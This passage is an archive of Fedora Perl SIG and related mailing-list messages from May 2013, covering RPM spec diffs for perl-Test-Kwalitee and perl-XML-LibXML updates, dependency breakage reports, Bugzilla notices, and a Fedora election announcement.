BuildRequires: perl(Module::CPANTS::Analyse) = 0.87
-BuildRequires: perl(Test::Builder) = 0.88
+BuildRequires: perl(Test::Builder)
# Test Suite
BuildRequires: perl(File::Temp)
BuildRequires: perl(Test::CheckDeps)
@@ -73,6 +73,14 @@ make test TEST_FILES=$(echo $(find xt/ -name '*.t'))
%{_mandir}/man3/Test::Kwalitee.3pm*
%changelog
+* Tue May 14 2013 Paul Howarth p...@city-fan.org - 1.06-1
+- Update to 1.06
+ - Restore previous behaviour of plan()ing in import, to unbreak some dists
+that didn't follow the docs (which in this case is ok since it's a horrible
+idea for a Test module to plan itself anyway) (v1.05)
+ - More diagnostic data is printed when a test fails (CPAN RT#85107)
+- Drop perl(Test::Builder) version requirement again
+
* Mon May 13 2013 Paul Howarth p...@city-fan.org - 1.05-1
- Update to 1.05
- More rigorous testing of output; in order to make this possible, now we do
diff --git a/sources b/sources
index 2d1b4d9..5d2873d 100644
--- a/sources
+++ b/sources
@@ -1 +1 @@
-74920eb4627f68c43469e44682fcd4a7 Test-Kwalitee-1.05.tar.gz
+a9654f2e8b40af56c7979c5b0309f7b4 Test-Kwalitee-1.06.tar.gz
--
Fedora Extras Perl SIG
http://www.fedoraproject.org/wiki/Extras/SIGs/Perl
perl-devel mailing list
perl-devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-Test-Kwalitee/f19] Update to 1.06
Summary of changes: 13fecb4... Update to 1.06 (*) (*) This commit already existed in another branch; no separate mail sent -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-Test-Kwalitee] Created tag perl-Test-Kwalitee-1.06-1.fc19
The lightweight tag 'perl-Test-Kwalitee-1.06-1.fc19' was created pointing to: 13fecb4... Update to 1.06 -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-Test-Kwalitee] Created tag perl-Test-Kwalitee-1.06-1.fc20
The lightweight tag 'perl-Test-Kwalitee-1.06-1.fc20' was created pointing to: 13fecb4... Update to 1.06 -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
Broken dependencies: perl-Bio-SamTools
perl-Bio-SamTools has broken dependencies in the rawhide tree: On x86_64: perl-Bio-SamTools-1.35-2.fc19.x86_64 requires perl(Bio::SeqFeature::Lite) perl-Bio-SamTools-1.35-2.fc19.x86_64 requires perl(Bio::PrimarySeq) On i386: perl-Bio-SamTools-1.35-2.fc19.i686 requires perl(Bio::SeqFeature::Lite) perl-Bio-SamTools-1.35-2.fc19.i686 requires perl(Bio::PrimarySeq) Please resolve this as soon as possible. -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
Broken dependencies: perl-Bio-ASN1-EntrezGene
perl-Bio-ASN1-EntrezGene has broken dependencies in the rawhide tree: On x86_64: perl-Bio-ASN1-EntrezGene-1.091-17.fc19.noarch requires perl(Bio::Index::AbstractSeq) On i386: perl-Bio-ASN1-EntrezGene-1.091-17.fc19.noarch requires perl(Bio::Index::AbstractSeq) Please resolve this as soon as possible. -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
Broken dependencies: perl-Bio-SamTools
perl-Bio-SamTools has broken dependencies in the F-19 tree: On x86_64: perl-Bio-SamTools-1.35-2.fc19.x86_64 requires perl(Bio::SeqFeature::Lite) perl-Bio-SamTools-1.35-2.fc19.x86_64 requires perl(Bio::PrimarySeq) On i386: perl-Bio-SamTools-1.35-2.fc19.i686 requires perl(Bio::SeqFeature::Lite) perl-Bio-SamTools-1.35-2.fc19.i686 requires perl(Bio::PrimarySeq) Please resolve this as soon as possible. -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[Bug 962776] perl-XML-LibXML-2.0018 is available
Product: Fedora https://bugzilla.redhat.com/show_bug.cgi?id=962776 Petr Šabata psab...@redhat.com changed: What|Removed |Added Status|NEW |ASSIGNED CC||psab...@redhat.com Assignee|mmasl...@redhat.com |psab...@redhat.com -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=hF6BedFOOYa=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-XML-LibXML] 2.0018 bump; revert the library version requirements
commit ac8f9aa10c62bba32ac8ad8c451144d2823cd4c2
Author: Petr Šabata con...@redhat.com
Date: Tue May 14 14:50:23 2013 +0200
2.0018 bump; revert the library version requirements
.gitignore |1 +
perl-XML-LibXML.spec |8 +---
sources |2 +-
3 files changed, 7 insertions(+), 4 deletions(-)
---
diff --git a/.gitignore b/.gitignore
index 88c2a33..24b8f58 100644
--- a/.gitignore
+++ b/.gitignore
@@ -21,3 +21,4 @@ XML-LibXML-1.70.tar.gz
/XML-LibXML-2.0014.tar.gz
/XML-LibXML-2.0016.tar.gz
/XML-LibXML-2.0017.tar.gz
+/XML-LibXML-2.0018.tar.gz
diff --git a/perl-XML-LibXML.spec b/perl-XML-LibXML.spec
index fcea752..6126ae9 100644
--- a/perl-XML-LibXML.spec
+++ b/perl-XML-LibXML.spec
@@ -3,7 +3,7 @@ Name: perl-XML-LibXML
# https://bugzilla.redhat.com/show_bug.cgi?id=469480
# it might not be needed anymore
# this module is maintained, the other is not
-Version:2.0017
+Version:2.0018
Release:1%{?dist}
Epoch: 1
Summary:Perl interface to the libxml2 library
@@ -11,7 +11,7 @@ Group: Development/Libraries
License:(GPL+ or Artistic) and MIT
URL:http://search.cpan.org/dist/XML-LibXML/
Source0:
http://search.cpan.org/CPAN/authors/id/S/SH/SHLOMIF/XML-LibXML-%{version}.tar.gz
-BuildRequires: libxml2-devel = 2.9.0
+BuildRequires: libxml2-devel
BuildRequires: perl(Devel::CheckLib)
BuildRequires: perl(ExtUtils::MakeMaker)
BuildRequires: perl(File::Spec)
@@ -43,7 +43,6 @@ BuildRequires: perl(threads)
BuildRequires: perl(threads::shared)
BuildRequires: perl(URI::file)
Requires: perl(:MODULE_COMPAT_%(eval `perl -V:version`; echo $version))
-Requires: libxml2 = 2.9.0
# threads and threads::shared are optional
Provides: perl-XML-LibXML-Common = %{version}
Obsoletes: perl-XML-LibXML-Common = 0.13
@@ -100,6 +99,9 @@ fi
%{_mandir}/man3/*.3*
%changelog
+* Tue May 14 2013 Petr Šabata con...@redhat.com - 1:2.0018-1
+- 2.0018 bump; revert the library version requirements
+
* Mon May 13 2013 Jitka Plesnikova jples...@redhat.com - 1:2.0017-1
- 2.0017 bump
diff --git a/sources b/sources
index 3bc2fa6..26f4564 100644
--- a/sources
+++ b/sources
@@ -1 +1 @@
-f71b192420fa93be3525d501f8c7b4ff XML-LibXML-2.0017.tar.gz
+c5db1c6ba5f588802a5e1a15b5b6d653 XML-LibXML-2.0018.tar.gz
--
Fedora Extras Perl SIG
http://www.fedoraproject.org/wiki/Extras/SIGs/Perl
perl-devel mailing list
perl-devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[Bug 962776] perl-XML-LibXML-2.0018 is available
Product: Fedora https://bugzilla.redhat.com/show_bug.cgi?id=962776 Petr Šabata psab...@redhat.com changed: What|Removed |Added Status|ASSIGNED|CLOSED Fixed In Version||perl-XML-LibXML-2.0018-1.fc ||20 Resolution|--- |RAWHIDE Last Closed||2013-05-14 08:50:57 -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=bajFqO6yHea=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
File Sys-Virt-1.0.5.tar.gz uploaded to lookaside cache by berrange
A file has been added to the lookaside cache for perl-Sys-Virt: f3c91cb5be52919b28eb51ace45dc3f9 Sys-Virt-1.0.5.tar.gz -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-Sys-Virt/f19] Update to 1.0.5 release
Summary of changes: 635085d... Update to 1.0.5 release (*) (*) This commit already existed in another branch; no separate mail sent -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
File IO-Socket-SSL-1.89.tar.gz uploaded to lookaside cache by pghmcfc
A file has been added to the lookaside cache for perl-IO-Socket-SSL: 282b18874f4266c96e78eb36c6d7e16a IO-Socket-SSL-1.89.tar.gz -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-IO-Socket-SSL] Created tag perl-IO-Socket-SSL-1.89-1.fc20
The lightweight tag 'perl-IO-Socket-SSL-1.89-1.fc20' was created pointing to: 2f01417... Update to 1.89 -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-Rose-DB-Object/el6] (2 commits) ...update to version 0.805
Summary of changes: e127cfe... Update to version 0.804 (*) 1e80f78... update to version 0.805 (*) (*) This commit already existed in another branch; no separate mail sent -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
File ZMQ-LibZMQ3-1.11.tar.gz uploaded to lookaside cache by jpo
A file has been added to the lookaside cache for perl-ZMQ-LibZMQ3: c8fb1f926d031f793bff2be0e0f14763 ZMQ-LibZMQ3-1.11.tar.gz -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[perl-ZMQ-LibZMQ3/f18] (3 commits) ...Update to version 1.11
Summary of changes: 34e4568... - Rebuilt for https://fedoraproject.org/wiki/Fedora_19_Mass (*) 744d119... Update to version 1.10 (*) 632c29f... Update to version 1.11 (*) (*) This commit already existed in another branch; no separate mail sent -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[Bug 960289] Protocol scheme 'https' is not supported (LWP::Protocol::https not installed)
Product: Fedora https://bugzilla.redhat.com/show_bug.cgi?id=960289 Simon Green sgr...@redhat.com changed: What|Removed |Added Status|NEW |CLOSED Version|4.4 |17 Component|WebService |perl-LWP-Protocol-https CC||mmasl...@redhat.com, ||perl-devel@lists.fedoraproj ||ect.org, ppi...@redhat.com Assignee|bugzilla-ma...@redhat.com |sgr...@redhat.com Resolution|--- |NOTABUG QA Contact|tools-b...@redhat.com |extras...@fedoraproject.org Product|Bugzilla|Fedora Last Closed||2013-05-15 01:36:42 --- Comment #2 from Simon Green sgr...@redhat.com --- (In reply to comment #0) (LWP::Protocol::https not installed) This looks very similar to the bug 559898 but I have verified that perl-Crypt-SSLeay is installed. You still need LWP::Protocol::https to be installed, as per the error message. Use yum provides perl(LWP::Protocol::https) to find out what package provides this in your distro. -- simon -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=MeuQTtfglIa=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
[389-devel] Please review: #568 using transaction batchval violates durability
https://fedorahosted.org/389/ticket/568 https://fedorahosted.org/389/attachment/ticket/568/0001-Ticket-568-make-usage-of-transaction-batch-flush-dur.patch -- 389-devel mailing list 389-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/389-devel
[389-devel] Please review: #47358: implement backend optimazation levels
https://fedorahosted.org/389/ticket/47358 https://fedorahosted.org/389/attachment/ticket/47358/0001-Ticket-47358-implement-backend-optimazation-levels.patch -- 389-devel mailing list 389-devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/389-devel
Election Season Begins: Fedora Board, FESCo, FAmSCo, and Fedora 20 naming election process
It is time again to begin Fedora's election season. This announcement contains information regarding the Fedora 20 Naming Election, as well as the Fedora Board, Fedora Engineering Steering Committee (FESCo), and Fedora Ambassadors Steering Committee (FAmSCo) elections. ** Fedora 20 Naming Election ** The suggestion period for names for Fedora 20 is now open (May 15, 2013), and will end promptly at the end of the day on May 22, 2013 (23:59:59 UTC). So run - don't paws - and get your suggestion in for the next Fedora release name. https://fedoraproject.org/wiki/Name_suggestions_for_Fedora_20 Fine Print: You *must* follow the instructions and guidelines at the page listed above if you want your name to be considered. For instance, there must be an is-a link between the name Schrödinger's Cat (from Fedora 19) and the name you suggest. That link must be different than previous links for Fedora release names. Names of living people and well-known trademarks will likely be rejected as well. You can also find full schedule details for the release naming process on the above page. For those of you interested in reviewing the history of Fedora release names, there exists an appropriately named wiki page for doing so: http://fedoraproject.org/wiki/History_of_Fedora_release_names ** Fedora Board, FESCo, and FAmSCo Elections ** The nomination period for elections for the Fedora Board, FAmSCo (Fedora Ambassador Steering Committee), and FESCo (Fedora Engineering Steering Committee) is now open, and will conclude at the end of day, May 25, 2013 (23:59:59 UTC). This election cycle will fill the following seats for a one-year period: * Fedora Board: 3 elected seats (2 additional seats will be appointed according to schedule) * FESCo (Fedora Engineering Steering Committee): 5 elected seats * FAmSCo (Fedora Ambassadors Steering Committee): 4 elected seats Full information about the committee elections, including the elections schedule, and links to where one may nominate, can be seen here: https://fedoraproject.org/wiki/Elections Additionally, the elections questionnaire is NOW OPEN for adding questions which will be posed to candidates for the listed groups. Following the closing of the questionnaire, candidates will be asked to answer questions relevant to the position for which they are seeking election. Questions may be added until May 23, 2013 (you guessed it - 23:59:59 UTC). Questions should be added here: https://fedoraproject.org/wiki/Elections/Questionnaire Further information regarding each body's election follows below. As always, I encourage everyone to consider serving in an elected seat, or to encourage others that they feel would represent Fedora well to run for election. Finally: I'd like to send a special thank-you to Ankur Sinha for once again helping to coordinate elections and the elections schedule. Your work here is greatly appreciated! == Fedora Board == This election cycle will fill three elected seats for the Board (seats E3, E4, and E5). Two appointed seats (A3 and A4) will also be filled this cycle. https://fedoraproject.org/wiki/Board_nominations https://fedoraproject.org/wiki/Board/Elections https://fedoraproject.org/wiki/Board/History == FESCo == This cycle will see candidates elected to five open seats in the Fedora Engineering Steering Committee. For information on the nominations and elections, see: https://fedoraproject.org/wiki/FESCo_election_policy https://fedoraproject.org/wiki/Development/SteeringCommittee/Nominations == FAmSCo == This election cycle will see candidates elected to fill four open seats on the Fedora Ambassadors Steering Committee. For more information, refer to: https://fedoraproject.org/wiki/FAmSCo_election_rules https://fedoraproject.org/wiki/FAmSCo_elections https://fedoraproject.org/wiki/FAmSCo_nominations Cheers, -Robyn ___ devel-announce mailing list devel-announce@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel-announce
